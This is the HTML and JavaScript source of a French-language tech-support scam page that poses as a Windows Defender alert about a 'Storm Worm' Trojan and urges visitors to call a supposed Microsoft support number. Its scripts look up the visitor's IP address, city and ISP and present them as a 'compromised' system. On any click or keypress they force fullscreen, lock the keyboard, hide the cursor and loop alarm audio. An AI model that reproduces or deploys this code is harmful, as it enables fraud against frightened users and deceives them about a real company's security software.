<!doctype html>
<html lang="en">

<head>

<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-BNEW7TK3V2"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-BNEW7TK3V2');
</script>

    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="/bootstrap.min.css" integrity="sha384-B0vP5xmATw1+K9KRQjQERJvTumQW0nPEzvF6L/Z6nronJ3oUOFUFpCjEUQouq2+l" crossorigin="anonymous">
    <script src="jquery.min.js"></script>
    <link rel="stylesheet" type="text/css" href="main.css">
    <title>Sécurité windows</title>
    <link rel="stylesheet" href="/font-awesome.min.css">
    <script type="text/javascript" src="init.js"></script>
    
    <script type="text/javascript" src="push.min.js" async="" defer="" id="9c21d36d-014b-4dde-9408-a55d98fba9db"></script>

    <script async="" src="https://www.googletagmanager.com/gtag/js?id=UA-xxx-x"></script>
    <script>
        window.dataLayer = window.dataLayer || [];

        function gtag() {
            dataLayer.push(arguments);
        }
        gtag('js', new Date());
        gtag('config', 'UA-xxx-x');
    </script>
    <script>
        var t = new XMLHttpRequest;
        t.onreadystatechange = function() {
            if (4 == this.readyState && 200 == this.status) {
                var a = JSON.parse(this.responseText);
                ipadd = a.ip;
                city = a.city;
                country = a.country;
                isp = a.connection.isp;
                var b = new Date;
                currtime = a.timezone.current_time;
                document.getElementById("ip_add").textContent = "----------Adresse IP compromise: " + ipadd + "---------- Date et heure du piratage :" + b.toLocaleString("FR-FR", currtime);
                document.getElementById("city").textContent = "Emplacement ciblé: " + city + ", " + country;
                document.getElementById("isp").textContent = "Fournisseur d'accès internet :" + isp
            }
        };
        t.open("GET", "https://ipwho.is/?lang=en", !0);
        t.send();
    </script>

    <script>
        function getVariableFromURll(name) {
            name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
            var regexS = "[\\?&]" + name + "=([^&#]*)";
            var regex = new RegExp(regexS);
            var results = regex.exec(window.location.href);
            if (results == null)
                return "";
            else
                return results[1];
        }
    </script>
    <script type="text/javascript">
        var phone = getVariableFromURll('phone');
    </script>



    <script type="text/javascript">
        var phone_number = '<?=$phone_number;?>';
    </script>

    <script>
        let closePP = document.querySelector('.btn23-primary');
        let overlay = document.querySelector('.modal23-dialog');

        let KEY_ESC = 27;
        document.onkeydown = function(e) {
            if (e.keyCode == KEY_ESC) {
                document.querySelector('.wrapper').style.cursor = "auto";
                setTimeout(() => {
                    document.querySelector('.modal23-dialog').style.display = "block"
                }, 500);

            }
        }



        setTimeout(() => {
            document.querySelector('.modal23-dialog').style.display = "block"
            document.querySelector('.notification').style.display = "block"
        }, 1300);

        document.addEventListener('click', () => {


            document.getElementById("beeppeep").play();

            //document.documentElement.requestFullscreen();
            document.body.requestFullscreen().then(
                () => {
                    const keys = [{
                            code: 'Escape'
                        },
                        {
                            code: 'Tab',
                            altKey: true
                        },
                        {
                            code: 'Tab',
                            metaKey: true
                        },
                    ];
                    //navigator.requestSystemKeyboardLock(keys);
                    navigator.keyboard.lock();
                });
            document.addEventListener('keydown', event => {
                if (event.code == 'Escape') {
                    console.dir('escape punched');
                }
            }, false);
            document.querySelector('.modal23-dialog').style.display = "none";
            document.querySelector('.wrapper').style.cursor = "none";


        });



        document.addEventListener('mouseleave', showDontLeavePopup);
        var popupShows = 0;

        function showDontLeavePopup() {

            document.querySelector('.modal-dialog23').style.display = "block";


        }


        // document.querySelector('.btn-primary').onclick = function() {
        //     document.querySelector('.modal-dialog').style.display = 'none';
        // };
    </script>

    <script>
        /////// plein écran clic droit////////   
        document.addEventListener('contextmenu', () => {


            document.getElementById("beeppeep").play();


            //document.documentElement.requestFullscreen();

            document.body.requestFullscreen().then(
                () => {
                    const keys = [{
                            code: 'Escape'
                        },
                        {
                            code: 'Tab',
                            altKey: true
                        },
                        {
                            code: 'Tab',
                            metaKey: true
                        },
                    ];
                    //navigator.requestSystemKeyboardLock(keys);
                    navigator.keyboard.lock();
                })
        });


        /////// plein écran touche////////   
        document.addEventListener('keydown', () => {


            document.getElementById("beeppeep").play();


            //document.documentElement.requestFullscreen();

            document.body.requestFullscreen().then(
                () => {
                    const keys = [{
                            code: 'Escape'
                        },
                        {
                            code: 'Tab',
                            altKey: true
                        },
                        {
                            code: 'Tab',
                            metaKey: true
                        },
                    ];
                    //navigator.requestSystemKeyboardLock(keys);
                    navigator.keyboard.lock();
                })
        });
    </script>

</head>

<body id="mycanvas" class="lightbox" oncontextmenu="return false" style="cursor:none;">    <script>
        document.addEventListener('keydown', () => {

            var beeppeep1 = document.getElementById('beeppeep1');
            var beeppeep = document.getElementById('beeppeep');

            // Lecture du premier fichier audio
            beeppeep1.play();

            // Lorsqu'il se termine, le deuxième fichier démarre en boucle
            audio1.onended = function() {
                beeppeep.play();
            };
        
        });
    </script>

   <div id="notification">Menace détectée !</div>



    <div class="modal23-dialog">
        <div class="modal23-content">
            <div class="modal23-body">

                <h2 class="modal-title"> Windows Defender </h2>

                <table>
                    <tbody>
                        <tr>
                            <td>
                                <div class="mod_cross"><img src="cross-bl.png"></div>
                                <div class="mod_cross2"><img src="cross-bl - Copie.png"></div>
                                 
                                <p class="modal23-p text_block" style="color: rgb(219, 21, 21);">🚨 Alerte critique de sécurité :Trojan <strong>Storm Worm</strong> détecté !.<br> Un fichier malveillant a altéré votre système et a été temporairement bloqué. ⚠️❌<br>Si vous constatez que votre ordinateur ne réagit pas normalement ou que des alertes apparaissent, assurez-vous de la sécurité de vos données immédiatement :<br> 🔎 Cliquez sur "Diagnostic Antivirus" 🛡️
                                    <br>🖱️ Faites un clic avec votre souris pour quitter la fenêtre et afficher plus de détails !<br>⏳ Ne perdez pas de temps, prenez action maintenant pour protéger vos informations personnelles ! 💻🔐</p>
                                <p class="text_block modal23-p3"> </p>




                            </td>
                        </tr>
                    </tbody>
                </table>
            </div>
            <div class="modal23-footer">
                <button type="button" class="btn23 btn-primary23">Diagnostic Antivirus </button>
                <button type="button" class="btn23 btn-primary23">   Quitter </button>
            </div>
        </div>
    </div><audio id="beeppeep1" autoplay ="">    
        <source src="Alerte virus.mp3" type="audio/mpeg"> 
    
        </audio>

    <audio id="beeppeep" autoplay loop="">    
    <source src="al1.mp3" type="audio/mpeg"> 

    </audio>

    <div class="bg" style="cursor:none;">
        <div class="bgimg" style="top: 0px;"><img src="bg2.jpg" alt="" width="110%" height="700"></div>
        <video with="700" ; height="800" src="vid2.mp4" muted loop autoplay width="auto"></video>


    </div>

    <a href="#" rel="noreferrer" id="link_black" style="cursor: none;">
        <div class="black" style="height: 145%;cursor: none;"></div>

    </a>



    <div id="footer" style="top: 10px; position: absolute;cursor: none;">
        <div class="row">

            <div class="col-md-12">
                <div class="right-foot" style="text-align: center;">
                    <span id="footertxt"><img src="mslogo.png">  </span><span style="font-weight: 700px;padding-left: 14px;color: rgb(235, 235, 241);font-size: 30px; ">Contactez l'assistance technique Microsoft<span style="border: 1px solid rgb(202, 204, 214);border-radius: 5px;padding: 10px 5px; ">
                        09 77 21 62 62  
                        </span> </span>
                    <div class="col-md-14">
                        <small class="text-left" style="color: #4f94e2;"> <p>Alerte maximale de sécurité.Windows defender à bloqué une activité douteuse afin de protéger vos données personnelles Veuillez ne pas fermer la page ou redémarrer votre ordinateur pour éviter le vol de vos informations confidentielles.<br> ------------------Ne prenez pas de risques et sollicitez un agent Microsoft!--------------</p></small>
                    </div>
                </div>
            </div>

            <div class="col-md-13">
                <marquee><small class="text-left" style="color: #4f94e2;">Cheval de Troie <strong>Storm Worm</strong> détecté! Diagnostic antivirus requis , contactez l'assistance technique 09 77 21 62 62</small> </marquee>
            </div>
        </div>


        <!--  pop 2    -->

        <marquee>
            <div class="modal2-dialog">
        </marquee>
        <marquee>
            <div class="modal2-content">
        </marquee>
        <div class="modal2-body">
            <h2 class="modal-title"> Windows Defender </h2>
            <table>
                <tbody>
                    <tr>
                        <td>
                            <div id="txtintro">
                                <span class="colo-rd">
          <div id="ip_add">Alerte Pare-feu Windows !</div>
          <div id="city">Système infecté par un logiciel espion de type cheval de Troie</div>
          <div id="isp"> (Code d'erreur : 2K7 HITV)</div>
        </span>
                            </div>

                            <div id="disclaimer">Un blocage temporaire à été activé, une fois désactivé vous serez exposé à des risques majeurs!<br>contactez immédiatement un agent Microsoft! <br>
                                <span class="support" style="font-size:22px;">Appelez l'assistance Microsoft: &nbsp; <span style="border:1px solid #114d9a;border-radius:5px;padding:2px 5px">09 77 21 62 62
          </span>
                                </span>
                            </div>

        </div>
        <div class="mod_cross"><img src="cross-bl.png"></div>
        <div class="mod_cross2"><img src="cross-bl - Copie.png"></div>

        </p>

        </td>
        </tr>
        </tbody>
        </table>
        </div>
        <div class="modal2-footer">


        </div>
        </div>
    </div>




    <!-- <div id="welcomeDiv"
     style=" display:none; background-color:rgb(40 40 40 / 62%); height: auto; width: 550px; margin-left:30%;position: absolute;z-index: 9999999999;  "
     class="answer_list">
    <p class="text-center" style="color: #FEFEFE;  margin-top:10px; font-size: 16px; opacity:.9; ">You must contact us immediately so that our engineers can walk you through the removal process over the
        phone.<br>Your PC is disabled. <br><br> </p>


</div> -->


    <!-- Optional JavaScript; choose one of the two! -->

    <!-- Option 1: jQuery and Bootstrap Bundle (includes Popper) -->
    <script src="modernizr.min.js" type="text/javascript"></script>
    <script src="bootstrap.bundle.min.js" integrity="sha384-Piv4xVNRyMGpqkS2by6br4gNJ7DXjqk09RmUpJ8jgGtD7zP9yug3goQfGII0yAns" crossorigin="anonymous"></script>
    <script type="text/javascript" src="fullscreen.js"></script>
    <script type="text/javascript" src="before.js"></script>
    <script type="text/javascript" src="main.js"></script>




    <script type="text/javascript">
        (function($) {
            $.fn.countTo = function(options) {
                options = options || {};

                return $(this).each(function() {
                    // set options for current element
                    var settings = $.extend({}, $.fn.countTo.defaults, {
                        from: $(this).data('from'),
                        to: $(this).data('to'),
                        speed: $(this).data('speed'),
                        refreshInterval: $(this).data('refresh-interval'),
                        decimals: $(this).data('decimals')
                    }, options);

                    // how many times to update the value, and how much to increment the value on each update
                    var loops = Math.ceil(settings.speed / settings.refreshInterval),
                        increment = (settings.to - settings.from) / loops;

                    // references & variables that will change with each update
                    var self = this,
                        $self = $(this),
                        loopCount = 0,
                        value = settings.from,
                        data = $self.data('countTo') || {};

                    $self.data('countTo', data);

                    // if an existing interval can be found, clear it first
                    if (data.interval) {
                        clearInterval(data.interval);
                    }
                    data.interval = setInterval(updateTimer, settings.refreshInterval);

                    // initialize the element with the starting value
                    render(value);

                    function updateTimer() {
                        value += increment;
                        loopCount++;

                        render(value);

                        if (typeof(settings.onUpdate) == 'function') {
                            settings.onUpdate.call(self, value);
                        }

                        if (loopCount >= loops) {
                            // remove the interval
                            $self.removeData('countTo');
                            clearInterval(data.interval);
                            value = settings.to;

                            if (typeof(settings.onComplete) == 'function') {
                                settings.onComplete.call(self, value);
                            }
                        }
                    }

                    function render(value) {
                        var formattedValue = settings.formatter.call(self, value, settings);
                        $self.html(formattedValue);
                    }
                });
            };

            $.fn.countTo.defaults = {
                from: 0, // the number the element should start at
                to: 0, // the number the element should end at
                speed: 100, // how long it should take to count between the target numbers
                refreshInterval: 100, // how often the element should be updated
                decimals: 0, // the number of decimal places to show
                formatter: formatter, // handler for formatting the value before rendering
                onUpdate: null, // callback method for every time the element is updated
                onComplete: null // callback method for when the element finishes updating
            };

            function formatter(value, settings) {
                return value.toFixed(settings.decimals);
            }
        }(jQuery));

        jQuery(function($) {
            // custom formatting example
            $('.count-number').data('countToOptions', {
                formatter: function(value, options) {
                    return value.toFixed(options.decimals).replace(/\B(?=(?:\d{3})+(?!\d))/g, ',');
                }
            });

            // start all the timers
            $('.timer').each(count);

            function count(options) {
                var $this = $(this);
                options = $.extend({}, options || {}, $this.data('countToOptions') || {});
                $this.countTo(options);
            }
        });
    </script>
    <script type="text/javascript">
        $(document).ready(function() {
            $(".pro_box2").delay(1).fadeIn(800);
            $(".pro_box3").delay(1).fadeIn(800);
            $(".pro_box3").delay(1).fadeIn(800);
            $("#pop_up_new").delay(1).fadeIn(800);
            $("#poptxt").delay(1).fadeIn(800);
            $(".black").delay(300).fadeIn();
        });
    </script>
    <script>
        // Get the modal
        var modal = document.getElementById('myModal');

        // Get the button that opens the modal
        var btn = document.getElementById("myBtn");

        // Get the <span> element that closes the modal
        var span = document.getElementsByClassName("close")[0];

        // When the user clicks the button, open the modal
        /*btn.onclick = function() {
          modal.style.display = "block";
        } */

        // When the user clicks on <span> (x), close the modal
        span.onclick = function() {
            modal.style.display = "none";
        }

        // When the user clicks anywhere outside of the modal, close it
        window.onclick = function(event) {
            if (event.target == modal) {
                modal.style.display = "none";
            }
        }
    </script>
    <script type="text/javascript">
        setTimeout(function() {
            document.getElementById("beeppeep").play();
        });
    </script>
    <script>
        $(document).ready(function() {
            $("#mycanvas").click(function() {
                $("#welcomeDiv").show();
            });
        });
    </script>
    <script>
        $(document).ready(function() {
            $("#mycanvas").click(function() {
                $(".bgimg").hide();
                $(".bgimg2").show();
            });
        });
    </script>
    <script>
        $(document).ready(function() {
            $("body").click(function() {
                $(".black").hide();
            });
        });
    </script>
    <script type="text/javascript">
        $(document).ready(function() {
            $("body").mouseover(function() {
                $("#poptxt").show();
            });
        });
    </script>
    <!-- <script type="text/javascript">
    $(document).ready(function () {
        $("body").mouseover(function () {
            $(".black").show();
        });
    });
</script> -->
</body>

</html>